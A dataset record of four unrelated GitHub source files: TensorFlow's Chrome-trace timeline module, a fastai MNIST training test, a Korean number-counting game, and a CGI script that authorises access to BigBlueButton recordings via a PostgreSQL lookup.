{"seq_id":"4000334314","text":"import collections\nimport copy\nimport json\nimport re\nfrom typing import Any, Dict, List, Optional, Tuple, Union\n\nfrom tensorflow.core.framework import step_stats_pb2\n# The timeline target is usually imported as part of BUILD target\n# \"platform_test\", which includes also includes the \"platform\"\n# dependency.  This is why the logging import here is okay.\nfrom tensorflow.python.platform import build_info\nfrom tensorflow.python.platform import tf_logging as logging\n\n\nclass AllocationMaximum(\n    collections.namedtuple(\n        'AllocationMaximum', ('timestamp', 'num_bytes', 'tensors')\n    )\n):\n  \"\"\"Stores the maximum allocation for a given allocator within the timelne.\n\n  Parameters:\n    timestamp: `tensorflow::Env::NowMicros()` when this maximum was reached.\n    num_bytes: the total memory used at this time.\n    tensors: the set of tensors allocated at this time.\n  \"\"\"\n\n\nclass StepStatsAnalysis(\n    collections.namedtuple(\n        'StepStatsAnalysis', ('chrome_trace', 'allocator_maximums')\n    )\n):\n  \"\"\"Stores the step stats analysis output.\n\n  Parameters:\n    chrome_trace: A dict containing the chrome trace analysis.\n    allocator_maximums: A dict mapping allocator names to AllocationMaximum.\n  \"\"\"\n\n\nclass _ChromeTraceFormatter(object):\n  \"\"\"A helper class for generating traces in Chrome Trace Format.\"\"\"\n\n  def __init__(self, show_memory: bool = False) -> None:\n    \"\"\"Constructs a new Chrome Trace formatter.\"\"\"\n    self._show_memory = show_memory\n    self._events = []\n    self._metadata = []\n\n  def _create_event(\n      self,\n      ph: str,\n      category: str,\n      name: str,\n      pid: int,\n      tid: int,\n      timestamp: int,\n  ) -> Dict[str, Union[str, int]]:\n    \"\"\"Creates a new Chrome Trace event.\n\n    For details of the file format, see:\n    https://github.com/catapult-project/catapult/blob/master/tracing/README.md\n\n    Args:\n      ph:  The type of event - usually a single character.\n      category: The event category as a string.\n      name:  The event name as a string.\n      pid:  Identifier of the process generating this event as an integer.\n      tid:  Identifier of the thread generating this event as an integer.\n      timestamp:  The timestamp of this event as a long integer.\n\n    Returns:\n      A JSON compatible event object.\n    \"\"\"\n    event = {}\n    event['ph'] = ph\n    event['cat'] = category\n    event['name'] = name\n    event['pid'] = pid\n    event['tid'] = tid\n    event['ts'] = timestamp\n    return event\n\n  def emit_pid(self, name: str, pid: int) -> None:\n    \"\"\"Adds a process metadata event to the trace.\n\n    Args:\n      name:  The process name as a string.\n      pid:  Identifier of the process as an integer.\n    \"\"\"\n    event = {}\n    event['name'] = 'process_name'\n    event['ph'] = 'M'\n    event['pid'] = pid\n    event['args'] = {'name': name}\n    self._metadata.append(event)\n\n  def emit_tid(self, name, pid, tid):\n    \"\"\"Adds a thread metadata event to the trace.\n\n    Args:\n      name:  The thread name as a string.\n      pid:  Identifier of the process as an integer.\n      tid:  Identifier of the thread as an integer.\n    \"\"\"\n    event = {}\n    event['name'] = 'thread_name'\n    event['ph'] = 'M'\n    event['pid'] = pid\n    event['tid'] = tid\n    event['args'] = {'name': name}\n    self._metadata.append(event)\n\n  def emit_region(\n      self,\n      timestamp: int,\n      duration: int,\n      pid: int,\n      tid: int,\n      category: str,\n      name: str,\n      args: Dict[str, Any],\n  ) -> None:\n    \"\"\"Adds a region event to the trace.\n\n    Args:\n      timestamp:  The start timestamp of this region as a long integer.\n      duration:  The duration of this region as a long integer.\n      pid:  Identifier of the process generating this event as an integer.\n      tid:  Identifier of the thread generating this event as an integer.\n      category: The event category as a string.\n      name:  The event name as a string.\n      args:  A JSON-compatible dictionary of event arguments.\n    \"\"\"\n    event = self._create_event('X', category, name, pid, tid, timestamp)\n    event['dur'] = duration\n    event['args'] = args\n    self._events.append(event)\n\n  def emit_obj_create(\n      self,\n      category: str,\n      name: str,\n      timestamp: int,\n      pid: int,\n      tid: int,\n      object_id: int,\n  ) -> None:\n    \"\"\"Adds an object creation event to the trace.\n\n    Args:\n      category: The event category as a string.\n      name:  The event name as a string.\n      timestamp:  The timestamp of this event as a long integer.\n      pid:  Identifier of the process generating this event as an integer.\n      tid:  Identifier of the thread generating this event as an integer.\n      object_id: Identifier of the object as an integer.\n    \"\"\"\n    event = self._create_event('N', category, name, pid, tid, timestamp)\n    event['id'] = object_id\n    self._events.append(event)\n\n  def emit_obj_delete(\n      self,\n      category: str,\n      name: str,\n      timestamp: int,\n      pid: int,\n      tid: int,\n      object_id: int,\n  ) -> None:\n    \"\"\"Adds an object deletion event to the trace.\n\n    Args:\n      category: The event category as a string.\n      name:  The event name as a string.\n      timestamp:  The timestamp of this event as a long integer.\n      pid:  Identifier of the process generating this event as an integer.\n      tid:  Identifier of the thread generating this event as an integer.\n      object_id: Identifier of the object as an integer.\n    \"\"\"\n    event = self._create_event('D', category, name, pid, tid, timestamp)\n    event['id'] = object_id\n    self._events.append(event)\n\n  def emit_obj_snapshot(\n      self,\n      category: str,\n      name: str,\n      timestamp: int,\n      pid: int,\n      tid: int,\n      object_id: int,\n      snapshot: Dict[str, Any],\n  ) -> None:\n    \"\"\"Adds an object snapshot event to the trace.\n\n    Args:\n      category: The event category as a string.\n      name:  The event name as a string.\n      timestamp:  The timestamp of this event as a long integer.\n      pid:  Identifier of the process generating this event as an integer.\n      tid:  Identifier of the thread generating this event as an integer.\n      object_id: Identifier of the object as an integer.\n      snapshot:  A JSON-compatible representation of the object.\n    \"\"\"\n    event = self._create_event('O', category, name, pid, tid, timestamp)\n    event['id'] = object_id\n    event['args'] = {'snapshot': snapshot}\n    self._events.append(event)\n\n  def emit_flow_start(\n      self, name: str, timestamp: int, pid: int, tid: int, flow_id: int\n  ) -> None:\n    \"\"\"Adds a flow start event to the trace.\n\n    When matched with a flow end event (with the same 'flow_id') this will\n    cause the trace viewer to draw an arrow between the start and end events.\n\n    Args:\n      name:  The event name as a string.\n      timestamp:  The timestamp of this event as a long integer.\n      pid:  Identifier of the process generating this event as an integer.\n      tid:  Identifier of the thread generating this event as an integer.\n      flow_id: Identifier of the flow as an integer.\n    \"\"\"\n    event = self._create_event('s', 'DataFlow', name, pid, tid, timestamp)\n    event['id'] = flow_id\n    self._events.append(event)\n\n  def emit_flow_end(\n      self, name: str, timestamp: int, pid: int, tid: int, flow_id: int\n  ) -> None:\n    \"\"\"Adds a flow end event to the trace.\n\n    When matched with a flow start event (with the same 'flow_id') this will\n    cause the trace viewer to draw an arrow between the start and end events.\n\n    Args:\n      name:  The event name as a string.\n      timestamp:  The timestamp of this event as a long integer.\n      pid:  Identifier of the process generating this event as an integer.\n      tid:  Identifier of the thread generating this event as an integer.\n      flow_id: Identifier of the flow as an integer.\n    \"\"\"\n    event = self._create_event('t', 'DataFlow', name, pid, tid, timestamp)\n    event['id'] = flow_id\n    self._events.append(event)\n\n  def emit_counter(\n      self,\n      category: str,\n      name: str,\n      pid: int,\n      timestamp: int,\n      counter: str,\n      value: int,\n  ) -> None:\n    \"\"\"Emits a record for a single counter.\n\n    Args:\n      category: The event category as a string.\n      name:  The event name as a string.\n      pid:  Identifier of the process generating this event as an integer.\n      timestamp:  The timestamp of this event as a long integer.\n      counter: Name of the counter as a string.\n      value:  Value of the counter as an integer.\n    \"\"\"\n    event = self._create_event('C', category, name, pid, 0, timestamp)\n    event['args'] = {counter: value}\n    self._events.append(event)\n\n  def emit_counters(self, category, name, pid, timestamp, counters):\n    \"\"\"Emits a counter record for the dictionary 'counters'.\n\n    Args:\n      category: The event category as a string.\n      name:  The event name as a string.\n      pid:  Identifier of the process generating this event as an integer.\n      timestamp:  The timestamp of this event as a long integer.\n      counters: Dictionary of counter values.\n    \"\"\"\n    event = self._create_event('C', category, name, pid, 0, timestamp)\n    event['args'] = counters.copy()\n    self._events.append(event)\n\n  def format_to_string(self, pretty: bool = False) -> str:\n    \"\"\"Formats the chrome trace to a string.\n\n    Args:\n      pretty: (Optional.)  If True, produce human-readable JSON output.\n\n    Returns:\n      A JSON-formatted string in Chrome Trace format.\n    \"\"\"\n    trace = {}\n    trace['traceEvents'] = self._metadata + self._events\n    if pretty:\n      return json.dumps(trace, indent=4, separators=(',', ': '))\n    else:\n      return json.dumps(trace, separators=(',', ':'))\n\n\nclass _TensorTracker(object):\n  \"\"\"An internal class to track the lifetime of a Tensor.\"\"\"\n\n  def __init__(\n      self,\n      name: str,\n      object_id: int,\n      timestamp: int,\n      pid: int,\n      allocator: str,\n      num_bytes: int,\n  ) -> None:\n    \"\"\"Creates an object to track tensor references.\n\n    This class is not thread safe and is intended only for internal use by\n    the 'Timeline' class in this file.\n\n    Args:\n      name:  The name of the Tensor as a string.\n      object_id:  Chrome Trace object identifier assigned for this Tensor.\n      timestamp:  The creation timestamp of this event as a long integer.\n      pid:  Process identifier of the associated device, as an integer.\n      allocator:  Name of the allocator used to create the Tensor.\n      num_bytes:  Number of bytes allocated (long integer).\n\n    Returns:\n      A 'TensorTracker' object.\n    \"\"\"\n    self._name = name\n    self._pid = pid\n    self._object_id = object_id\n    self._create_time = timestamp\n    self._allocator = allocator\n    self._num_bytes = num_bytes\n    self._ref_times = []\n    self._unref_times = []\n\n  @property\n  def name(self) -> str:\n    \"\"\"Name of this tensor.\"\"\"\n    return self._name\n\n  @property\n  def pid(self) -> int:\n    \"\"\"ID of the process which created this tensor (an integer).\"\"\"\n    return self._pid\n\n  @property\n  def create_time(self) -> int:\n    \"\"\"Timestamp when this tensor was created (long integer).\"\"\"\n    return self._create_time\n\n  @property\n  def object_id(self) -> int:\n    \"\"\"Returns the object identifier of this tensor (integer).\"\"\"\n    return self._object_id\n\n  @property\n  def num_bytes(self) -> int:\n    \"\"\"Size of this tensor in bytes (long integer).\"\"\"\n    return self._num_bytes\n\n  @property\n  def allocator(self) -> str:\n    \"\"\"Name of the allocator used to create this tensor (string).\"\"\"\n    return self._allocator\n\n  @property\n  def last_unref(self) -> int:\n    \"\"\"Last unreference timestamp of this tensor (long integer).\"\"\"\n    return max(self._unref_times)\n\n  def add_ref(self, timestamp: int) -> None:\n    \"\"\"Adds a reference to this tensor with the specified timestamp.\n\n    Args:\n      timestamp:  Timestamp of object reference as an integer.\n    \"\"\"\n    self._ref_times.append(timestamp)\n\n  def add_unref(self, timestamp: int) -> None:\n    \"\"\"Adds an unref to this tensor with the specified timestamp.\n\n    Args:\n      timestamp:  Timestamp of object unreference as an integer.\n    \"\"\"\n    self._unref_times.append(timestamp)\n\n\nclass Timeline(object):\n  \"\"\"A class for visualizing execution timelines of TensorFlow steps.\"\"\"\n\n  def __init__(\n      self, step_stats: step_stats_pb2.StepStats, graph: Optional[Any] = None\n  ) -> None:\n    \"\"\"Constructs a new Timeline.\n\n    A 'Timeline' is used for visualizing the execution of a TensorFlow\n    computation.  It shows the timings and concurrency of execution at\n    the granularity of TensorFlow Ops.\n    This class is not thread safe.\n\n    Args:\n      step_stats: The 'step_stats_pb2.StepStats' proto recording execution\n        times.\n      graph: (Optional) The 'Graph' that was executed.\n    \"\"\"\n\n    self._origin_step_stats = step_stats\n    self._step_stats = None\n    self._graph = graph\n    self._chrome_trace = _ChromeTraceFormatter()\n    self._next_pid = 0\n    self._device_pids = {}  # device name -> pid for compute activity.\n    self._tensor_pids = {}  # device name -> pid for tensors.\n    self._tensors = {}  # tensor_name -> TensorTracker\n    self._next_flow_id = 0\n    self._flow_starts = {}  # tensor_name -> (timestamp, pid, tid)\n    self._alloc_times = {}  # tensor_name -> ( time, allocator, size )\n    self._allocator_maximums = {}  # allocator name => maximum bytes long\n\n  def _alloc_pid(self) -> int:\n    \"\"\"Allocate a process Id.\"\"\"\n    pid = self._next_pid\n    self._next_pid += 1\n    return pid\n\n  def _alloc_flow_id(self) -> int:\n    \"\"\"Allocate a flow Id.\"\"\"\n    flow_id = self._next_flow_id\n    self._next_flow_id += 1\n    return flow_id\n\n  def _parse_op_label(\n      self, label: str\n  ) -> Tuple[str, str, List[str]]:\n    \"\"\"Parses the fields in a node timeline label.\"\"\"\n    # Expects labels of the form: name = op(arg, arg, ...).\n    match = re.match(r'(.*) = (.*)\\((.*)\\)', label)\n    if match is None:\n      return 'unknown', 'unknown', []\n    nn, op, inputs = match.groups()\n    if not inputs:\n      inputs = []\n    else:\n      inputs = inputs.split(', ')\n    return nn, op, inputs\n\n  def _parse_kernel_label(self, label, node_name):\n    \"\"\"Parses the fields in a node timeline label.\"\"\"\n    # Expects labels of the form: retval (arg) detail @@annotation\n    start = label.find('@@')\n    end = label.find('#')\n    if start >= 0 and end >= 0 and start + 2 < end:\n      node_name = label[start + 2 : end]\n    # Node names should always have the form 'name:op'.\n    fields = node_name.split(':') + ['unknown']\n    name, op = fields[:2]\n    return name, op\n\n  def _assign_lanes(self) -> None:\n    \"\"\"Assigns non-overlapping lanes for the activities on each device.\"\"\"\n    for device_stats in self._step_stats.dev_stats:\n      # TODO(pbar): Genuine thread IDs in step_stats_pb2.NodeExecStats\n      # might be helpful.\n      lanes = [0]\n      for ns in device_stats.node_stats:\n        l = -1\n        for i, lts in enumerate(lanes):\n          if ns.all_start_micros > lts:\n            l = i\n            lanes[l] = ns.all_start_micros + ns.all_end_rel_micros\n            break\n        if l < 0:\n          l = len(lanes)\n          lanes.append(ns.all_start_micros + ns.all_end_rel_micros)\n        ns.thread_id = l\n\n  def _emit_op(\n      self, nodestats: step_stats_pb2.NodeExecStats, pid: int, is_gputrace: bool\n  ) -> None:\n    \"\"\"Generates a Chrome Trace event to show Op execution.\n\n    Args:\n      nodestats: The 'step_stats_pb2.NodeExecStats' proto recording op\n        execution.\n      pid: The pid assigned for the device where this op ran.\n      is_gputrace: If True then this op came from the GPUTracer.\n    \"\"\"\n    node_name = nodestats.node_name\n    start = nodestats.all_start_micros\n    duration = nodestats.all_end_rel_micros\n    tid = nodestats.thread_id\n    inputs = []\n    if is_gputrace:\n      node_name, op = self._parse_kernel_label(\n          nodestats.timeline_label, node_name\n      )\n    elif node_name == 'RecvTensor':\n      # RPC tracing does not use the standard timeline_label format.\n      op = 'RecvTensor'\n    else:\n      _, op, inputs = self._parse_op_label(nodestats.timeline_label)\n    args = {'name': node_name, 'op': op}\n    if build_info.build_info['is_rocm_build']:\n      args['kernel'] = nodestats.timeline_label.split('@@')[0]\n    for i, iname in enumerate(inputs):\n      args['input%d' % i] = iname\n    self._chrome_trace.emit_region(start, duration, pid, tid, 'Op', op, args)\n\n  def _emit_tensor_snapshot(\n      self,\n      tensor: _TensorTracker,\n      timestamp: int,\n      pid: int,\n      tid: int,\n      value: step_stats_pb2.NodeOutput,\n  ) -> None:\n    \"\"\"Generate Chrome Trace snapshot event for a computed Tensor.\n\n    Args:\n      tensor: A 'TensorTracker' object.\n      timestamp:  The timestamp of this snapshot as a long integer.\n      pid: The pid assigned for showing the device where this op ran.\n      tid: The tid of the thread computing the tensor snapshot.\n      value: A JSON-compliant snapshot of the object.\n    \"\"\"\n    desc = str(value.tensor_description).replace('\"', '')\n    snapshot = {'tensor_description': desc}\n    self._chrome_trace.emit_obj_snapshot(\n        'Tensor', tensor.name, timestamp, pid, tid, tensor.object_id, snapshot\n    )\n\n  def _produce_tensor(\n      self,\n      name: str,\n      timestamp: int,\n      tensors_pid: int,\n      allocator: str,\n      num_bytes: int,\n  ) -> _TensorTracker:\n    \"\"\"Creates a new tensor tracker.\"\"\"\n    object_id = len(self._tensors)\n    tensor = _TensorTracker(\n        name, object_id, timestamp, tensors_pid, allocator, num_bytes\n    )\n    self._tensors[name] = tensor\n    return tensor\n\n  def _is_gputrace_device(self, device_name: str) -> bool:\n    \"\"\"Returns true if this device is part of the GPUTracer logging.\"\"\"\n    return '/stream:' in device_name or '/memcpy' in device_name\n\n  def _allocate_pids(self) -> None:\n    \"\"\"Allocate fake process ids for each device in the step_stats_pb2.StepStats.\"\"\"\n    self._allocators_pid = self._alloc_pid()\n    self._chrome_trace.emit_pid('Allocators', self._allocators_pid)\n\n    # Add processes in the Chrome trace to show compute and data activity.\n    for dev_stats in self._step_stats.dev_stats:\n      device_pid = self._alloc_pid()\n      self._device_pids[dev_stats.device] = device_pid\n      tensors_pid = self._alloc_pid()\n      self._tensor_pids[dev_stats.device] = tensors_pid\n      self._chrome_trace.emit_pid(dev_stats.device + ' Compute', device_pid)\n      self._chrome_trace.emit_pid(dev_stats.device + ' Tensors', tensors_pid)\n\n  def _analyze_tensors(self, show_memory: bool) -> None:\n    \"\"\"Analyze tensor references to track dataflow.\"\"\"\n    for dev_stats in self._step_stats.dev_stats:\n      device_pid = self._device_pids[dev_stats.device]\n      tensors_pid = self._tensor_pids[dev_stats.device]\n      for node_stats in dev_stats.node_stats:\n        tid = node_stats.thread_id\n        node_name = node_stats.node_name\n        start_time = node_stats.all_start_micros\n        end_time = node_stats.all_start_micros + node_stats.all_end_rel_micros\n        for index, output in enumerate(node_stats.output):\n          if index:\n            output_name = '%s:%d' % (node_name, index)\n          else:\n            output_name = node_name\n\n          allocation = output.tensor_description.allocation_description\n          num_bytes = allocation.requested_bytes\n          allocator_name = allocation.allocator_name\n          tensor = self._produce_tensor(\n              output_name, start_time, tensors_pid, allocator_name, num_bytes\n          )\n          tensor.add_ref(start_time)\n          tensor.add_unref(end_time)\n          self._flow_starts[output_name] = (end_time, device_pid, tid)\n\n          if show_memory:\n            self._chrome_trace.emit_obj_create(\n                'Tensor',\n                output_name,\n                start_time,\n                tensors_pid,\n                tid,\n                tensor.object_id,\n            )\n            self._emit_tensor_snapshot(\n                tensor, end_time - 1, tensors_pid, tid, output\n            )\n\n  def _show_compute(self, show_dataflow: bool) -> None:\n    \"\"\"Visualize the computation activity.\"\"\"\n    for dev_stats in self._step_stats.dev_stats:\n      device_name = dev_stats.device\n      device_pid = self._device_pids[device_name]\n      is_gputrace = self._is_gputrace_device(device_name)\n\n      for node_stats in dev_stats.node_stats:\n        tid = node_stats.thread_id\n        start_time = node_stats.all_start_micros\n        end_time = node_stats.all_start_micros + node_stats.all_end_rel_micros\n        self._emit_op(node_stats, device_pid, is_gputrace)\n\n        if is_gputrace or node_stats.node_name == 'RecvTensor':\n          continue\n\n        _, _, inputs = self._parse_op_label(node_stats.timeline_label)\n        for input_name in inputs:\n          if input_name not in self._tensors:\n            # This can happen when partitioning has inserted a Send/Recv.\n            # We remove the numeric suffix so that the dataflow appears to\n            # come from the original node.  Ideally, the StepStats would\n            # contain logging for the Send and Recv nodes.\n            index = input_name.rfind('/_')\n            if index > 0:\n              input_name = input_name[:index]\n\n          if input_name in self._tensors:\n            tensor = self._tensors[input_name]\n            tensor.add_ref(start_time)\n            tensor.add_unref(end_time - 1)\n\n            if show_dataflow:\n              # We use a different flow ID for every graph edge.\n              create_time, create_pid, create_tid = self._flow_starts[\n                  input_name\n              ]\n              # Don't add flows when producer and consumer ops are on the same\n              # pid/tid since the horizontal arrows clutter the visualization.\n              if create_pid != device_pid or create_tid != tid:\n                flow_id = self._alloc_flow_id()\n                self._chrome_trace.emit_flow_start(\n                    input_name, create_time, create_pid, create_tid, flow_id\n                )\n                self._chrome_trace.emit_flow_end(\n                    input_name, start_time, device_pid, tid, flow_id\n                )\n          else:\n            logging.vlog(\n                1, \"Can't find tensor %s - removed by CSE?\", input_name\n            )\n\n  def _show_memory_counters(self) -> None:\n    \"\"\"Produce a counter series for each memory allocator.\"\"\"\n    # Iterate over all tensor trackers to build a list of allocations and\n    # frees for each allocator. Then sort the lists and emit a cumulative\n    # counter series for each allocator.\n    allocations = {}\n    for name in self._tensors:\n      tensor = self._tensors[name]\n      self._chrome_trace.emit_obj_delete(\n          'Tensor', name, tensor.last_unref, tensor.pid, 0, tensor.object_id\n      )\n      allocator = tensor.allocator\n      if allocator not in allocations:\n        allocations[allocator] = []\n      num_bytes = tensor.num_bytes\n      allocations[allocator].append((tensor.create_time, num_bytes, name))\n      allocations[allocator].append((tensor.last_unref, -num_bytes, name))\n\n    alloc_maxes = {}\n\n    # Generate a counter series showing total allocations for each allocator.\n    for allocator in allocations:\n      alloc_list = allocations[allocator]\n      alloc_list.sort()\n      total_bytes = 0\n      alloc_tensor_set = set()\n      alloc_maxes[allocator] = AllocationMaximum(\n          timestamp=0, num_bytes=0, tensors=set()\n      )\n      for time, num_bytes, name in sorted(\n          alloc_list, key=lambda allocation: allocation[0]\n      ):\n        total_bytes += num_bytes\n        if num_bytes < 0:\n          alloc_tensor_set.discard(name)\n        else:\n          alloc_tensor_set.add(name)\n\n        if total_bytes > alloc_maxes[allocator].num_bytes:\n          alloc_maxes[allocator] = AllocationMaximum(\n              timestamp=time,\n              num_bytes=total_bytes,\n              tensors=copy.deepcopy(alloc_tensor_set),\n          )\n\n        self._chrome_trace.emit_counter(\n            'Memory',\n            allocator,\n            self._allocators_pid,\n            time,\n            allocator,\n            total_bytes,\n        )\n    self._allocator_maximums = alloc_maxes\n\n  def _preprocess_op_time(self, op_time: str) -> None:\n    \"\"\"Update the start and end time of ops in step stats.\n\n    Args:\n      op_time: How the execution time of op is shown in timeline. Possible\n        values are \"schedule\", \"gpu\" and \"all\".  \"schedule\" will show op from\n        the time it is scheduled to the end of the scheduling. Notice by the end\n        of its scheduling its async kernels may not start yet. It is shown using\n        the default value from step_stats. \"gpu\" will show op with the execution\n        time of its kernels on GPU. \"all\" will show op from the start of its\n        scheduling to the end of its last kernel.\n    \"\"\"\n    if op_time == 'schedule':\n      self._step_stats = self._origin_step_stats\n      return\n    self._step_stats = copy.deepcopy(self._origin_step_stats)\n    # Separate job task and gpu tracer stream\n    stream_all_stats = []\n    job_stats = []\n    for stats in self._step_stats.dev_stats:\n      if '/stream:all' in stats.device:\n        stream_all_stats.append(stats)\n      elif '/job' in stats.device:\n        job_stats.append(stats)\n\n    # Record the start time of the first kernel and the end time of\n    # the last gpu kernel for all ops.\n    op_gpu_start = {}\n    op_gpu_end = {}\n    for stats in stream_all_stats:\n      for kernel in stats.node_stats:\n        name, _ = self._parse_kernel_label(\n            kernel.timeline_label, kernel.node_name\n        )\n        start = kernel.all_start_micros\n        end = kernel.all_start_micros + kernel.all_end_rel_micros\n        if name in op_gpu_start:\n          op_gpu_start[name] = min(op_gpu_start[name], start)\n          op_gpu_end[name] = max(op_gpu_end[name], end)\n        else:\n          op_gpu_start[name] = start\n          op_gpu_end[name] = end\n\n    # Update the start and end time of each op according to the op_time\n    for stats in job_stats:\n      for op in stats.node_stats:\n        if op.node_name in op_gpu_start:\n          end = max(\n              op_gpu_end[op.node_name],\n              op.all_start_micros + op.all_end_rel_micros,\n          )\n          if op_time == 'gpu':\n            op.all_start_micros = op_gpu_start[op.node_name]\n          op.all_end_rel_micros = end - op.all_start_micros\n\n  def analyze_step_stats(\n      self,\n      show_dataflow: bool = True,\n      show_memory: bool = True,\n      op_time: str = 'schedule',\n  ) -> StepStatsAnalysis:\n    \"\"\"Analyze the step stats and format it into Chrome Trace Format.\n\n    Args:\n      show_dataflow: (Optional.) If True, add flow events to the trace\n        connecting producers and consumers of tensors.\n      show_memory: (Optional.) If True, add object snapshot events to the trace\n        showing the sizes and lifetimes of tensors.\n      op_time: (Optional.) How the execution time of op is shown in timeline.\n        Possible values are \"schedule\", \"gpu\" and \"all\". \"schedule\" will show op\n        from the time it is scheduled to the end of the scheduling. Notice by\n        the end of its scheduling its async kernels may not start yet. It is\n        shown using the default value from step_stats. \"gpu\" will show op with\n        the execution time of its kernels on GPU. \"all\" will show op from the\n        start of its scheduling to the end of its last kernel.\n\n    Returns:\n      A 'StepStatsAnalysis' object.\n    \"\"\"\n    self._preprocess_op_time(op_time)\n    self._allocate_pids()\n    self._assign_lanes()\n    self._analyze_tensors(show_memory)\n    self._show_compute(show_dataflow)\n    if show_memory:\n      self._show_memory_counters()\n    return StepStatsAnalysis(\n        chrome_trace=self._chrome_trace,\n        allocator_maximums=self._allocator_maximums,\n    )\n\n  def generate_chrome_trace_format(\n      self,\n      show_dataflow: bool = True,\n      show_memory: bool = False,\n      op_time: str = 'schedule',\n  ) -> str:\n    # pyformat: disable\n    \"\"\"Produces a trace in Chrome Trace Format.\n\n    Args:\n      show_dataflow: (Optional.) If True, add flow events to the trace\n        connecting producers and consumers of tensors.\n      show_memory: (Optional.) If True, add object snapshot events to the trace\n        showing the sizes and lifetimes of tensors.\n      op_time: (Optional.) How the execution time of op is shown in timeline.\n        Possible values are \"schedule\", \"gpu\" and \"all\".\n        \"schedule\" will show op from the time it is scheduled to the end of\n          the scheduling.\n          Notice by the end of its scheduling its async kernels may not start\n          yet. It is shown using the default value from step_stats.\n        \"gpu\" will show op with the execution time of its kernels on GPU.\n        \"all\" will show op from the start of its scheduling to the end of\n          its last kernel.\n    Returns:\n      A JSON formatted string in Chrome Trace format.\n    \"\"\"\n    # pyformat: enable\n    step_stats_analysis = self.analyze_step_stats(\n        show_dataflow=show_dataflow, show_memory=show_memory, op_time=op_time\n    )\n\n    return step_stats_analysis.chrome_trace.format_to_string(pretty=True)\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/client/timeline.py","file_name":"timeline.py","file_ext":"py","file_size_in_byte":29296,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"}
{"seq_id":"160244126","text":"from fastai.vision.all import *\n\nitems = get_image_files(untar_data(URLs.MNIST))\nsplits = GrandparentSplitter(train_name=\"training\", valid_name=\"testing\")(items)\ntds = Datasets(items, [PILImageBW.create, [parent_label, Categorize()]], splits=splits)\n\nif __name__ == \"__main__\":\n    data = tds.dataloaders(bs=256, after_item=[ToTensor(), IntToFloatTensor()]).cuda()\n    learn = vision_learner(data, resnet18, metrics=accuracy, path=\"/opt/ml\", model_dir=\"model\")\n    learn.fit_one_cycle(1, 1e-2)\n    learn.save(\"model\")\n","repo_name":"aws/deep-learning-containers","sub_path":"test/sagemaker_tests/pytorch/training/resources/fastai/mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":847,"dataset":"github-code","pt":"38"}
{"seq_id":"9727517114","text":"import random\nn=[28]\ndef bs31_my():\n    global n\n    while True:\n        try:\n            my = list(map(int,input(\"My turn - 숫자를 입력하세요(다음 3개까지): \").split()))\n        except ValueError:\n            print(\"숫자를 입력해주세요\")\n            continue\n        if len(my) >3:\n            print(\"숫자를 너무 많이 입력했습니다.\")\n        elif my[0] != n[-1]+1:\n            print(\"마지막 불린 숫자 다음 숫자를 불러주세요\")\n        elif len(my)==2 and my[0]!=my[1]-1 :\n            print(\"숫자를 순서대로 불러주세요\")\n        elif len(my)==3 and my[0]!=my[1]-1 or len(my)==3 and my[1]!=my[2]-1 :\n            print(\"숫자를 순서대로 불러주세요\")\n        else:\n            n += my\n            if 31 in n:\n                print(f\"현재 숫자 : 31\")\n                print(\"당신이 31을 불렀으므로 당신의 패배\")\n                break\n            print(f\"현재 숫자 : {n[-1]}\")\n            break\ndef bs31_com():\n    com_num = random.randint(1,3)\n    for i in range(com_num):\n        n.append(n[-1]+1)\n        print(f\"컴퓨터 : {n[-1]}\")\n        if 31 in n:\n            print(\"컴퓨터가 31을 불렀으므로 당신의 승리!!\")\n            break\n    if 31 in n:\n        pass\n    else:\n        print(f\"현재 숫자 : {n[-1]}\")\nwhile n[-1]<31 :\n    bs31_my()\n    if 31 in n:\n        break\n    bs31_com()\n    ","repo_name":"Hwonssam/pythonstudy","sub_path":"python/boost_camp/5_1_beskin31.py","file_name":"5_1_beskin31.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"10933812559","text":"#!/usr/bin/python3\nimport cgi\nimport os\nimport re\n\nimport psycopg2\nconn = psycopg2.connect(\"dbname=scalelite user=postgres password=PASSWORD host=localhost\")\n\ndef parse_url(url=''):\n\tr = re.compile(r'[0-9a-f]{40}-[0-9]{13}')\n\tt = re.compile(r'^/presentation/[0-9a-f]{40}-[0-9]{13}/presentation/[0-9a-f]{40}-[0-9]{13}/thumbnails/(thumb-[1-3].png|images/favicon.png)$')\n\ttry:\n\t\tthumb = t.findall(url)\n\t\tif thumb:\n\t\t\tlogfile.write('Thumbnail found\\n')\n\t\t\treturn False\n\t\telse:\n\t\t\tmeetingid = r.findall(url)[0]\n\t\t\treturn meetingid\n\texcept:\n\t\treturn False\t\n\ndef get_meeting_gl_publish(meetingid):\n\tcur = conn.cursor()\n\tcur.execute(\"SELECT id FROM recordings WHERE record_id = %s;\", (meetingid,))\n\trecordingid = cur.fetchall()\n\tif not recordingid:\n\t\treturn 403\n\telse:\n\t\tcur.execute(\"SELECT value FROM metadata WHERE key = 'gl-listed' AND recording_id = %s;\", (recordingid[0][0],))\n\t\tgllisted = cur.fetchall()\n\t\tif not gllisted:\n\t\t\treturn 403\n\t\telse:\n\t\t\tif gllisted[0][0] == 'false':\n\t\t\t\treturn 403\n\t\t\telse:\n\t\t\t\treturn 200\n\ndef ret_auth(authcode=403):\n\tif authcode == 200:\n\t\tprint(\"Content-Type: text/html\")\n\t\tprint(\"\")\n\telse:\n\t\tprint('Status: 403 Forbidden\\r\\n\\r\\n')\n\nmeetingid = parse_url(os.environ['HTTP_X_ORIGINAL_URI'])\nif meetingid:\n\tretcode = get_meeting_gl_publish(meetingid)\n\tret_auth(retcode)\nelse:\n\tret_auth(200)\n\n","repo_name":"ichdasich/bbb-rec-perm","sub_path":"gl-auth/auth-scalelite.py","file_name":"auth-scalelite.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"38"}
